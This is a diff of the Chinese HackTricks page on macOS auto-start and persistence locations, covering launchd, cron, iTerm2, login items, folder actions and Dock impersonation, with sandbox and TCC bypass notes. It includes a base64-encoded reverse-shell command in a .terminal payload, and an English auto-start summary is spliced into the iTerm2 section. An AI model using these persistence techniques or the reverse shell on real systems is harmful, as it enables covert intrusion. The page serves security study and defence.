* 如果你想看到你的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享的黑客技巧。
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享的黑客技巧。
</details>

View file

@ -9,17 +9,17 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/),旨在添加**更多自动启动位置**(如果可能的话),指出**哪些技术在最新版本的macOS13.4)中仍然有效**,并指定所需的**权限**。
本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/),旨在添加**更多自动启动位置**(如果可能的话),指出**哪些技术**在最新版本的macOS13.4)中仍然有效,并指定所需的**权限**。
## 沙盒绕过
{% hint style="success" %}
在这里,您可以找到有于**绕过沙盒**的启动位置,允许您通过**将其写入文件**并**等待**一个非常**常见的** **操作**,一个确定的**时间量**或一个**通常可以在沙盒内执行**而无需root权限的**操作**来简单执行某些操作
在这里,您可以找到有于**绕过沙盒**的启动位置,允许您通过**将其写入文件**并**等待**一个非常**常见的** **操作**,一个确定的**时间量**或一个**通常可以在沙盒内执行**而无需root权限的**操作**来简单执行某些内容
{% endhint %}
### Launchd
@ -80,13 +80,13 @@
</dict>
</plist>
```
有时需要在用户登录之前执行代理这些被称为PreLoginAgents。例如这对于在登录时提供辅助技术很有用。它们也可以在`/Library/LaunchAgents`中找到(请参见[此处](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)一个示例)。
有时需要在用户登录之前执行代理,这些被称为**PreLoginAgents**。例如,这对于在登录时提供辅助技术很有用。它们也可以在`/Library/LaunchAgents`中找到(请参见[**此处**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)示例)。
{% hint style="info" %}
新的守护程序或代理配置文件将在下次重启后加载,或使用`launchctl load <target.plist>`。也可以使用`launchctl -F <file>`加载没有扩展名的.plist文件但这些plist文件在重启后不会自动加载。\
也可以使用`launchctl unload <target.plist>`卸载(指向它的进程将被终止)。
新的守护程序或代理配置文件将在**下次重启后加载**,或使用`launchctl load <target.plist>`。也可以使用`launchctl -F <file>`加载没有扩展名的.plist文件但这些plist文件在重启后不会自动加载。\
也可以使用`launchctl unload <target.plist>`来**卸载**(指向它的进程将被终止)。
为确保没有任何东西(如覆盖)阻止代理或守护程序运行,运行:`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
了**确保**没有**任何东西**(如覆盖)**阻止**代理或守护程序**运行**,运行:`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %}
列出当前用户加载的所有代理和守护程序:
@ -94,7 +94,7 @@
launchctl list
```
{% hint style="warning" %}
如果一个 plist 文件是用户所有的,即使它位于守护程序系统范围的文件夹中,**任务将作为用户执行**而不是作为 root。这可以防止一些特权升级攻击。
如果一个 plist 文件被用户拥有,即使它位于守护程序系统范围的文件夹中,**任务将作为用户执行**而不是作为 root。这可以防止一些特权升级攻击。
{% endhint %}
### shell 启动文件
@ -104,7 +104,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
* TCC 绕过:[✅](https://emojipedia.org/check-mark-button)
* 但需要找到一个具有 TCC 绕过的应用程序,执行加载这些文件的 shell
* 但需要找到一个具有 TCC 绕过的应用程序,执行加载这些文件的 shell
#### 位置
@ -124,11 +124,11 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
* `/etc/profile`(未生效)
* `~/.profile`(未生效)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **触发条件**:预计会与 xterm 触发,但**未安装**即使安装后也会出现此错误xterm: `DISPLAY is not set`
* **触发条件**:预与 xterm 触发,但**未安装**即使安装后也会出现此错误xterm: `DISPLAY is not set`
#### 描述与利用
当初始化 shell 环境,如 `zsh``bash` 时,**会运行某些启动文件**。macOS 目前使用 `/bin/zsh` 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,会自动访问此 shell。虽然 macOS 中也存在 `bash``sh`,但需要显式调用才能使用。
当初始化 shell 环境,如 `zsh``bash` 时,**会运行某些启动文件**。macOS 目前使用 `/bin/zsh` 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,会自动访问此 shell。虽然 `bash``sh` 也存在于 macOS 中,但需要显式调用才能使用。
我们可以通过 **`man zsh`** 阅读 zsh 的 man 页面,其中有关启动文件的详细描述。
```bash
@ -177,24 +177,24 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```
### 终端偏好设置
* 有用以绕过沙盒: [](https://emojipedia.org/check-mark-button)
* TCC绕过 [](https://emojipedia.org/check-mark-button)
* 有用于绕过沙盒: [](https://emojipedia.org/check-mark-button)
* TCC绕过: [](https://emojipedia.org/check-mark-button)
* 终端使用者需具有FDA权限
#### 位置
* **`~/Library/Preferences/com.apple.Terminal.plist`**
* **触发器**打开终端
* **触发器**: 打开终端
#### 描述与利用
在**`~/Library/Preferences`**中存储了用户在应用程序中的偏好设置。其中一些偏好设置可包含配置以**执行其他应用程序/脚本**。
在**`~/Library/Preferences`**中存储了用户在应用程序中的偏好设置。其中一些偏好设置可包含配置以**执行其他应用程序/脚本**。
例如,终端可以在启动时执行一个命令
例如,终端可以在启动时执行一个命令:
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
这个配置反映在文件**`~/Library/Preferences/com.apple.Terminal.plist`**中,如下所示
这个配置反映在文件**`~/Library/Preferences/com.apple.Terminal.plist`**中,如下所示:
```bash
[...]
"Window Settings" => {
@ -210,7 +210,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
}
[...]
```
因此,如果可以覆盖系统中终端的偏好设置的 plist 文件,则可以使用 **`open`** 功能来**打开终端并执行该命令**。
所以,如果系统中终端的偏好设置的 plist 文件被覆盖,那么可以使用 **`open`** 功能来**打开终端并执行该命令**。
您可以通过以下命令行添加此功能:
@ -227,20 +227,20 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
### 终端脚本 / 其他文件扩展名
* 用于绕过沙盒的有用工具:[✅](https://emojipedia.org/check-mark-button)
* TCC绕过[✅](https://emojipedia.org/check-mark-button)
* 用于绕过沙盒的有用技术: [](https://emojipedia.org/check-mark-button)
* TCC绕过: [](https://emojipedia.org/check-mark-button)
* 终端使用用户的FDA权限
#### 位置
* **任何地方**
* **触发器**打开终端
* **触发器**: 打开终端
#### 描述 & 利用
如果您创建一个[**`.terminal`**脚本](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)并打开它,**终端应用程序**将自动调用以执行其中指定的命令。如果终端应用程序具有一些特殊权限如TCC您的命令将以这些特殊权限运行。
如果您创建一个[**`.terminal`**脚本](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)并打开它,**终端应用程序**将自动调用以执行其中指定的命令。如果终端应用程序具有一些特殊权限如TCC您的命令将以这些特殊权限运行。
尝试使用
尝试使用:
```bash
# Prepare the payload
cat > /tmp/test.terminal << EOF
@ -268,7 +268,7 @@ open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
```
您还可以使用扩展名**`.command`**、**`.tool`**以及常规的shell脚本内容它们也会被终端打开。
您还可以使用扩展名**`.command`**、**`.tool`**其中包含常规shell脚本内容它们也将被终端打开。
{% hint style="danger" %}
如果终端具有**完全磁盘访问权限**,它将能够完成该操作(请注意,执行的命令将在终端窗口中可见)。
@ -279,7 +279,7 @@ open /tmp/test.terminal
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
* 用于绕过沙[✅](https://emojipedia.org/check-mark-button)
* 用于绕过沙[✅](https://emojipedia.org/check-mark-button)
* TCC绕过[🟠](https://emojipedia.org/large-orange-circle)
* 您可能会获得一些额外的TCC访问权限
@ -299,13 +299,13 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
#### 描述
根据先前的报告,可以**编译一些音频插件**并加载它们。
根据先前的写作,可以**编译一些音频插件**并加载它们。
### QuickLook插件
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
* 用于绕过沙[✅](https://emojipedia.org/check-mark-button)
* 用于绕过沙[✅](https://emojipedia.org/check-mark-button)
* TCC绕过[🟠](https://emojipedia.org/large-orange-circle)
* 您可能会获得一些额外的TCC访问权限
@ -319,7 +319,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
#### 描述与利用
当您**触发文件的预览**在Finder中选择文件后按空格键并安装了**支持该文件类型**的插件时QuickLook插件被执行。
当您**触发文件的预览**在Finder中选择文件后按空格键并安装了**支持该文件类型**的插件时QuickLook插件可以被执行。
您可以编译自己的QuickLook插件将其放在上述位置之一以加载它然后转到支持的文件并按空格键触发它。
@ -331,7 +331,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
* 用于绕过沙[✅](https://emojipedia.org/check-mark-button)
* 用于绕过沙[✅](https://emojipedia.org/check-mark-button)
* TCC绕过[🔴](https://emojipedia.org/large-red-circle)
#### 位置
@ -366,12 +366,12 @@ oneTimeSSMigrationComplete = 1;
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** 中存储了 root 用户的自动启动位置。
**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**中存储了root用户的自动启动位置。
## 条件沙盒绕过
## 条件沙盒绕过
{% hint style="success" %}
在这里,您可以找到有用于**绕过沙盒**的启动位置,允许您通过**将写入文件**并**期望不太常见的条件**(如特定**已安装的程序,"不常"用户**操作或环境)来简单执行某些内容
在这里,您可以找到有用于**绕过沙盒**的启动位置,允许您通过**将内容写入文件**并**期望不太常见的条件**(如特定**已安装的程序,"不常"用户**操作或环境)来简单执行某些操作
{% endhint %}
### Cron
@ -379,32 +379,32 @@ defaults delete com.apple.loginwindow LogoutHook
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* 用于绕过沙盒的有用性:[✅](https://emojipedia.org/check-mark-button)
* 但是,您需要能够执行 `crontab` 二进制文件
* 或者是 root
* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle)
* 但是,您需要能够执行`crontab`二进制文件
* 或者是root用户
* TCC绕过[🔴](https://emojipedia.org/large-red-circle)
#### 位置
* **`/usr/lib/cron/tabs/`、`/private/var/at/tabs`、`/private/var/at/jobs`、`/etc/periodic/`**
* 需要 root 权限才能直接写入。如果可以执行 `crontab <file>`,则不需要 root 权限
* **触发器**:取决于 cron 作业
* 需要root权限才能直接写入。如果可以执行`crontab <file>`则无需root权限
* **触发器**取决于cron作业
#### 描述和利用
列出**当前用户**的 cron 作业:
列出**当前用户**的cron作业
```bash
crontab -l
```
您还可以查看**`/usr/lib/cron/tabs/`**和**`/var/at/tabs/`**中用户的所有cron作业需要root权限
**`/usr/lib/cron/tabs/`**和**`/var/at/tabs/`**中可以查看用户的所有cron作业需要root权限
在MacOS中可以找到几个以**特定频率**执行脚本的文件夹:
```bash
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
在这里,您可以找到常规的**cron** **作业****at** **作业**(不太常用),以及**periodic** **作业**(主要用于清理临时文件)。 比如,可以使用`periodic daily`来执行每日的周期性作业。
在这里,您可以找到常规的**cron** **jobs****at** **jobs**(不太常用),以及**periodic** **jobs**(主要用于清理临时文件)。 比如,可以使用`periodic daily`来执行每日的周期性作业。
要通过编程方式添加**用户cron作业**,可以使用:
要通过编程方式添加**用户cronjob**,可以使用:
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
@ -413,7 +413,7 @@ crontab /tmp/cron
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
* 用于绕过沙盒: [](https://emojipedia.org/check-mark-button)
* 用于绕过沙盒: [](https://emojipedia.org/check-mark-button)
* TCC绕过: [](https://emojipedia.org/check-mark-button)
* iTerm2曾经被授予TCC权限
@ -426,7 +426,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
* **触发器**: 打开iTerm
#### 描述 & 利用
#### 描述利用
存储在**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**中的脚本将被执行。例如:
```bash
@ -439,21 +439,31 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
### macOS Auto Start Locations
#### Launch Agents
## macOS自动启动位置
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
macOS provides several locations where applications and services can be configured to automatically start when a user logs in. These locations can be leveraged by malware to maintain persistence on a system.
#### Launch Daemons
macOS提供了几个位置可以配置应用程序和服务在用户登录时自动启动。恶意软件可以利用这些位置来保持系统的持久性。
Launch Daemons are used to run processes at system boot or login. They are stored in `/Library/LaunchDaemons/`.
The following are common auto start locations in macOS:
#### Login Items
以下是macOS中常见的自动启动位置
Login Items are applications that open when a user logs in. They are managed in `System Preferences > Users & Groups > Login Items`.
1. **Login Items**: These are user-specific auto start items that are configured in System Preferences > Users & Groups > Login Items.
#### Startup Items
**登录项**:这些是在“系统偏好设置” > “用户与群组” > “登录项”中配置的特定于用户的自动启动项目。
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
2. **Launch Agents**: These are user-specific or global auto start items that are configured using property list (plist) files in the `~/Library/LaunchAgents/` and `/Library/LaunchAgents/` directories.
**启动代理**这些是使用属性列表plist文件在`~/Library/LaunchAgents/`和`/Library/LaunchAgents/`目录中配置的特定于用户或全局的自动启动项目。
3. **Launch Daemons**: These are global auto start items that are configured using property list (plist) files in the `/Library/LaunchDaemons/` directory.
**启动守护程序**这些是使用属性列表plist文件在`/Library/LaunchDaemons/`目录中配置的全局自动启动项目。
4. **Startup Items**: Deprecated auto start mechanism that was used in older versions of macOS. Startup items are stored in the `/Library/StartupItems/` directory.
**启动项**在旧版本的macOS中使用的已弃用的自动启动机制。启动项存储在`/Library/StartupItems/`目录中。
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -474,13 +484,13 @@ EOF
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
iTerm2偏好设置位于**`~/Library/Preferences/com.googlecode.iterm2.plist`**中可以在iTerm2终端打开时**指示要执行的命令**。
在**`~/Library/Preferences/com.googlecode.iterm2.plist`**中的iTerm2首选项可以**指示在打开iTerm2终端时执行的命令**。
此设置可以在iTerm2设置中配置
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
命令会反映在偏好设置中:
而命令会反映在首选项中:
```bash
plutil -p com.googlecode.iterm2.plist
{
@ -490,7 +500,7 @@ plutil -p com.googlecode.iterm2.plist
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
```
可以设置要执行的命令为:
可以设置要执行的命令为:
{% code overflow="wrap" %}
```bash
@ -525,7 +535,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
#### 描述
如果安装了流行的程序 [**xbar**](https://github.com/matryer/xbar),则可以在 **`~/Library/Application\ Support/xbar/plugins/`** 中编写一个 shell 脚本,当 xbar 启动时将被执行:
如果安装了流行的程序 [**xbar**](https://github.com/matryer/xbar),则可以在 **`~/Library/Application\ Support/xbar/plugins/`** 中编写一个 shell 脚本,在 xbar 启动时执行:
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
@ -551,7 +561,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 作为 **macOS** 的自动化平台,利用 **LUA 脚本语言** 进行操作。值得注意的是,它支持完整 AppleScript 代码的集成和 shell 脚本的执行,显著增强了其脚本编写能力。
该应用程序寻找一个文件,`~/.hammerspoon/init.lua`,并在启动时执行该脚本。
该应用程序寻找一个单一文件,`~/.hammerspoon/init.lua`,并在启动时执行该脚本。
```bash
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
@ -569,7 +579,7 @@ EOF
* `~/Library/Application Support/BetterTouchTool/*`
该工具允许指定在按下某些快捷键时执行的应用程序或脚本。攻击者可能能够配置自己的**快捷键和操作以在数据库中执行**,从而使其执行任意代码(快捷键可能只需按下一个键)。
该工具允许指定应用程序或脚本在按下某些快捷键时执行。攻击者可能能够配置自己的**快捷键和操作以在数据库中执行任意代码**(一个快捷键可能只是按下一个键)。
### Alfred
@ -582,7 +592,7 @@ EOF
* `???`
它允许创建工作流,当满足某些条件时可以执行代码。潜在地,攻击者可以创建一个工作流文件并让Alfred加载它需要支付高级版本才能使用工作流)。
它允许创建工作流,当满足某些条件时可以执行代码。潜在地,攻击者可以创建一个工作流文件并让Alfred加载它需要付费版本才能使用工作流)。
### SSHRC
@ -643,21 +653,21 @@ osascript -e 'tell application "System Events" to make login item at end with pr
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
```
这些项目存储在文件**`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**中。
这些项目存储在文件**`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
**登录项**也可以使用API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc)来指定该API将配置存储在**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**中。
**登录项**也可以使用API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 进行指示该API将在**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**中存储配置
### 将ZIP文件作为登录项
### 将ZIP作为登录项
(查看有关登录项的先前部分,这是一个扩展)
如果将**ZIP**文件存储为**登录项**,则**`Archive Utility`**将打开它例如如果ZIP文件存储在**`~/Library`**中,并包含有后门的文件夹**`LaunchAgents/file.plist`**则该文件夹将被创建默认情况下不会并且plist将被添加因此下次用户再次登录时**plist中指定的后门将被执行**。
如果将**ZIP**文件存储为**登录项**,则**`Archive Utility`**将打开它例如如果ZIP文件存储在**`~/Library`**中,并包含有后门的文件夹**`LaunchAgents/file.plist`**,则该文件夹将被创建(默认情况下不会创建并且plist将被添加因此下次用户再次登录时**plist中指定的后门将被执行**。
另一个选项是在用户主目录中创建文件**`.bash_profile`**和**`.zshenv`**因此如果LaunchAgents文件夹已经存在则此技术仍将起作用。
### At
撰写[https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
详细信息[https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
* 但您需要**执行** **`at`**,并且它必须是**启用**的
@ -669,9 +679,9 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
#### **描述**
`at`任务旨在**安排一次性任务**在特定时间执行。与cron作业不同`at`任务在执行后会自动删除。需要注意的是,这些任务在系统重新启动后仍然存在,这在某些情况下可能会被视为潜在的安全问题。
`at`任务旨在**安排在特定时间执行一次性任务**。与cron作业不同`at`任务在执行后会自动删除。需要注意的是,这些任务在系统重新启动后仍然存在,这在某些情况下可能会被视为潜在的安全问题。
默认情况下它们是**禁用**的,但**root**用户可以使用以下命令**启用**它们:
**默认情况下**它们是**禁用**的,但**root**用户可以使用以下命令**启用**它们:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
@ -679,13 +689,13 @@ sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
使用 `atq` 命令检查作业队列:
使用 `atq` 命令检查作业队列:
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
以上我们可以看到两个已安排的任务。我们可以使用 `at -c JOBNUMBER` 命令打印任务的详细信息。
以上我们可以看到两个已计划的任务。我们可以使用 `at -c JOBNUMBER` 命令打印任务的详细信息。
```shell-session
sh-3.2# at -c 26
#!/bin/sh
@ -733,7 +743,7 @@ total 32
- `a` - 这是队列
- `0001a` - 十六进制的作业编号,`0x1a = 26`
- `019bdcd2` - 十六进制的时间。它表示自纪元以来经过的分钟数。`0x019bdcd2` 在十进制中是 `26991826`。如果我们将其乘以60我们得到 `1619509560` `GMT: 2021年4月27日星期二 7:46:00`
- `019bdcd2` - 十六进制的时间。它表示自纪元以来经过的分钟数。`0x019bdcd2` 在十进制中是 `26991826`。如果我们将其乘以60我们得到 `1619509560`这是 `GMT: 2021年4月27日星期二 7:46:00`
如果我们打印作业文件,我们会发现它包含了我们使用 `at -c` 得到的相同信息。
@ -742,7 +752,7 @@ total 32
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
- 有用于绕过沙[✅](https://emojipedia.org/check-mark-button)
- 有用于绕过沙[✅](https://emojipedia.org/check-mark-button)
- 但您需要能够调用带参数的 `osascript` 来联系 **`System Events`** 以配置文件夹操作
- TCC绕过[🟠](https://emojipedia.org/large-orange-circle)
- 它具有一些基本的TCC权限如桌面、文稿和下载
@ -755,16 +765,16 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
- **`~/Library/Scripts/Folder Action Scripts`**
- **触发器**:访问指定文件夹
#### 描述利用
#### 描述利用
文件夹操作是由文件夹中的更改自动触发的脚本,例如添加、删除项目,或其他操作,如打开或调整文件夹窗口大小。这些操作可用于各种任务,并且可以不同方式触发,如使用 Finder UI 或终端命令。
文件夹操作是由文件夹中的更改自动触发的脚本,例如添加、删除项目,或其他操作,如打开或调整文件夹窗口。这些操作可用于各种任务,并且可以通过不同方式触发,如使用 Finder UI 或终端命令。
设置文件夹操作时,您可以选择以下选项:
1. 使用 [Automator](https://support.apple.com/guide/automator/welcome/mac) 制作文件夹操作工作流,并将其安装为服务。
2. 通过文件夹右键菜单中的文件夹操作设置手动附加脚本。
2. 通过文件夹上下文菜单中的文件夹操作设置手动附加脚本。
3. 利用 OSAScript 向 `System Events.app` 发送苹果事件消息,以通过编程方式设置文件夹操作。
* 这种方法特别适用于将操作嵌入系统中,提供一定程度的持久性。
- 这种方法特别适用于将操作嵌入系统中,提供一定程度的持久性。
以下脚本是文件夹操作中可以执行的示例:
```applescript
@ -816,49 +826,49 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
然后打开`Folder Actions Setup`应用程序,选择**要监视的文件夹**,然后在您的情况下选择**`folder.scpt`**在我的情况下我称其为output2.scp
然后打开`Folder Actions Setup`应用程序,选择**您想要监视的文件夹**,并在您的情况下选择**`folder.scpt`**(在我的情况下我称其为output2.scp
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
现在,如果您使用**Finder**打开该文件夹,您的脚本将被执行。
此配置存储在以base64格式存储的**plist**中,位于**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**
此配置存储在以base64格式存储的**plist**中,位于**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**。
现在让我们尝试准备这种持久性而无需GUI访问
1. **复制 `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**`/tmp` 以备份它:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. **删除** 刚刚设置的Folder Actions
2. **删除**您刚刚设置的文件夹操作
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
现在我们有一个空环境
现在我们有一个空环境
3. 复制备份文件:`cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. 打开Folder Actions Setup.app以使用此配置`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
对我来说这个方法不起作用,但这是写作中的说明:(
对我来说这并没有起作用,但这些是来自报告的指令:(
{% endhint %}
### Dock快捷方式
写作中: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
报告:[https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* 用于绕过沙盒的有用方法: [](https://emojipedia.org/check-mark-button)
* 但您需要在系统内安装恶意应用程序
* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
* 用于绕过沙盒的有用性:[✅](https://emojipedia.org/check-mark-button)
* 但您需要在系统内安装一个恶意应用程序
* TCC绕过[🔴](https://emojipedia.org/large-red-circle)
#### 位置
* `~/Library/Preferences/com.apple.dock.plist`
* **触发器**当用户点击Dock的应用程序时
* **触发器**当用户点击Dock的应用程序时
#### 描述和利用
Dock中显示的所有应用程序都在plist中指定**`~/Library/Preferences/com.apple.dock.plist`**
只需使用以下命令即可**添加一个应用程序**
只需使用以下内容即可**添加一个应用程序**
{% code overflow="wrap" %}
```bash
@ -870,7 +880,7 @@ killall Dock
```
{% endcode %}
通过一些社会工程学技巧,你可以在 dock 中冒充例如 Google Chrome实际上执行你自己的脚本:
通过一些**社会工程**,你可以在 dock 中**冒充谷歌浏览器**实际上执行你自己的脚本:
```bash
#!/bin/sh
@ -925,10 +935,10 @@ killall Dock
```
### 颜色选择器
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
解读:[https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
* 用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle)
* 需要发生一个非常具体的
* 需要发生一个非常具体的
* 你将进入另一个沙盒
* TCC绕过[🔴](https://emojipedia.org/large-red-circle)
@ -959,13 +969,13 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g
```
{% endcode %}
### Finder Sync插件
### Finder Sync Plugins
